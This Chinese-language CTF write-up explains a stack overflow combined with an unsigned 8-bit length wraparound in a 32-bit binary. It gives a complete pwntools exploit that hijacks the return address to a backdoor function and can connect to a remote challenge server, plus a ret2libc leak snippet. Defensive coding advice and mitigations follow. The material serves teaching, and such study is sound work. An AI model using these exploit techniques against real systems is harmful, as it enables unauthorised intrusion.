ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

栈溢出漏洞利用与无符号整型回绕分析

栈溢出漏洞利用与无符号整型回绕分析

1. 漏洞分析与利用思路拆解

这个二进制程序存在典型的栈溢出漏洞,结合无符号整型回绕(integer wrap-around)的特性,我们可以构造特定的payload来实现控制流劫持。整个攻击过程需要解决两个关键问题:

1.1 绕过长度检查机制

程序在check_passwd函数中使用了无符号8位整型(uint8_t)变量v3来存储密码长度。根据C语言规范,uint8_t的取值范围是0-255。当输入长度超过255时会发生整数回绕:

uint8_t v3 = strlen(input); if (v3 <= 3 || v3 > 8) { puts("Invalid Password"); return 0; }

要绕过这个检查,我们需要让v3的值落在4-8之间。通过计算可知:

  • 259 % 256 = 3 → 实际存储为3(不满足)
  • 260 % 256 = 4 → 满足条件
  • ...
  • 264 % 256 = 8 → 满足条件

因此payload的总长度需要严格控制在260-264字节之间(即0x104-0x108)。

1.2 栈溢出利用点分析

在通过长度检查后,程序会执行不安全的srcpy()函数(模拟的strcpy):

char dest[0x14]; // 20字节缓冲区 srcpy(dest, s); // 无长度检查的拷贝

通过IDA反汇编可以看到栈布局:

-0000000000000014 dest db 20 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 4 dup(?) // 保存的ebp +000000000000000C return_address

要覆盖返回地址,需要:

  1. 填满20字节的dest缓冲区
  2. 覆盖4字节的保存ebp
  3. 覆盖4字节的返回地址

总计需要覆盖28字节(0x14+4)后才能控制EIP。

2. 漏洞利用实战步骤

2.1 环境准备与基础信息收集

首先使用checksec检查程序保护机制:

checksec --file=pwn [*] '/tmp/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键信息:

  • 32位程序
  • 没有栈保护(Canary)
  • 未开启地址随机化(PIE)
  • 存在后门函数what_is_this

2.2 攻击payload构造

完整的攻击流程需要构造特定长度的payload:

from pwn import * context(arch='i386', os='linux', log_level='debug') # 计算关键偏移量 dest_padding = 0x14 # dest缓冲区大小 ebp_padding = 4 # 保存的ebp total_offset = dest_padding + ebp_padding backdoor_addr = 0x80491b6 # what_is_this函数地址 # 构造基础payload payload = b'A' * total_offset payload += p32(backdoor_addr) # 调整总长度到0x104-0x108之间 payload = payload.ljust(0x104, b'B')

这里有几个关键点需要注意:

  1. ljust()方法确保最终payload长度为0x104字节(260)
  2. 填充字符建议使用可打印字符方便调试
  3. 地址需要小端序格式打包

2.3 完整攻击脚本

#!/usr/bin/env python3 from pwn import * elf = context.binary = ELF('./pwn') libc = elf.libc def start(): if args.REMOTE: return remote('61.147.171.103', 59035) else: return process(elf.path) p = start() # 第一阶段:通过菜单选择 p.sendlineafter(b'choice', b'1') # 第二阶段:输入用户名(任意值) p.sendlineafter(b'username', b'dummy_user') # 第三阶段:发送精心构造的payload payload = flat( b'A'*(0x14+4), elf.symbols['what_is_this'], filler=b'B', length=0x104 ) p.sendlineafter(b'passwd', payload) p.interactive()

3. 技术细节深度解析

3.1 无符号整型回绕原理

在C语言中,无符号整型溢出会导致数值回绕(wrap around)。对于uint8_t:

uint8_t a = 255; a += 1; // a现在为0 a = 256; // 实际存储为0 a = 259; // 实际存储为3 (259 % 256)

这种特性常被用于:

  • 密码学算法中的模运算
  • 循环缓冲区索引计算
  • 网络协议中的序列号处理

但在安全检查中,如果没有正确处理,就会导致安全漏洞。

3.2 栈帧布局与覆盖策略

在32位系统中,函数调用时的典型栈布局:

高地址 |----------------| | 参数n | | ... | | 参数1 | | 返回地址 | ← 我们要覆盖的目标 | 保存的ebp | ← 覆盖0x14+0x4处 |----------------| | 局部变量 | ← dest缓冲区开始 低地址

通过覆盖返回地址,我们可以劫持控制流,让程序跳转到任意地址(如后门函数)。

4. 防御方案与安全编程实践

4.1 安全编程建议

  1. 使用安全的字符串函数:

    // 不安全 strcpy(dest, src); // 安全替代 strncpy(dest, src, sizeof(dest)-1); dest[sizeof(dest)-1] = '\0';
  2. 长度检查前置条件:

    if(strlen(input) >= sizeof(buffer)) { return ERROR; }
  3. 使用带长度限制的输入函数:

    fgets(buffer, sizeof(buffer), stdin);

4.2 现代防护技术

  1. 栈保护(Stack Canary):

    gcc -fstack-protector-all -o safe_program vuln.c
  2. 地址随机化(ASLR):

    echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
  3. 不可执行栈(NX):

    gcc -z noexecstack -o safe_program vuln.c

5. 扩展思考与变种挑战

5.1 当存在栈保护时如何利用

如果程序编译时加入了-fstack-protector,我们需要:

  1. 泄漏canary值
  2. 在payload中保持canary不变
  3. 精确覆盖返回地址

典型payload结构:

[填充buf][canary][保存ebp][返回地址]

5.2 64位环境下的差异

64位程序需要注意:

  1. 地址变为8字节
  2. 参数传递可能通过寄存器
  3. 栈对齐要求(16字节对齐)

典型payload结构:

[填充buf][保存rbp][返回地址]

5.3 没有后门函数的情况

当程序没有现成的后门函数时,可以考虑:

  1. 返回到libc中的system函数
  2. 构造ROP链
  3. 使用one-gadget

示例:

# 泄漏libc地址 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main_addr = elf.symbols['main'] payload1 = flat( b'A'*offset, puts_plt, main_addr, puts_got )

6. 调试技巧与问题排查

6.1 GDB调试关键命令

gdb ./pwn -q b *0x8049234 # 在check_passwd函数设断点 r <<< $(python3 exploit.py) x/40wx $esp # 查看栈内存 info frame # 查看栈帧信息

6.2 常见问题与解决方案

  1. Segmentation Fault:

    • 检查payload长度是否正确
    • 验证返回地址是否对齐
    • 确认地址是否可执行
  2. 程序提前退出:

    • 检查长度检查是否被绕过
    • 确认输入是否包含意外字符(如\n)
  3. 控制流未按预期跳转:

    • 使用gdb逐步执行
    • 检查栈内容是否被正确覆盖
    • 验证返回地址是否被正确写入

7. 二进制安全学习路径建议

  1. 基础阶段:

    • C语言指针与内存管理
    • x86汇编基础
    • Linux系统调用
  2. 工具掌握:

    • GDB调试技巧
    • IDA Pro/Ghidra反编译
    • pwntools使用
  3. 进阶内容:

    • ROP链构造
    • 堆利用技巧
    • 内核漏洞利用

推荐学习资源:

  • 《漏洞利用开发实战》
  • LiveOverflow YouTube频道
  • CTF比赛中的pwn题目
返回列表